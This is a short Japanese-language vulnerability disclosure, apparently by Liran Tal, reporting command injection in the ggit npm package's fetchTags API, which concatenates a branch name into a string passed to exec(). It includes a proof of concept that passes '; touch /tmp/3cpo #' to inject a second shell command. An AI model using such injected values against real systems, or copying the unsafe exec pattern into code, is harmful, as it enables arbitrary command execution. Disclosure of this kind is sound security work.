ggitは自身を次のように説明しています:
Local promise-returning git command wrappers
リソース:
この脆弱性に関する記事:https://nodejs-security.com/blog/flawed-git-promises-library-on-npm-leads-to-command-injection-vulnerability
私はggit npmパッケージにおけるコマンドインジェクションの脆弱性を報告しています。
この脆弱性は、ライブラリのfetchTags(branch) APIに現れます。このAPIは、ユーザー入力でフェッチするブランチを指定できるようにし、その文字列をgitコマンドと連結して、安全でないNode.js子プロセスAPIであるexec()に渡します。
const fetchTags = require("ggit").fetchTags;
fetchTags("; touch /tmp/3cpo #").then(function () {
// should be same as running command
// git pull origin --tags
console.log("done");
});
/tmp/3cpoファイルが作成されることを確認このプロジェクトへのコントリビューションのガイドラインについては、CONTRIBUTINGを参照してください。
Liran Tal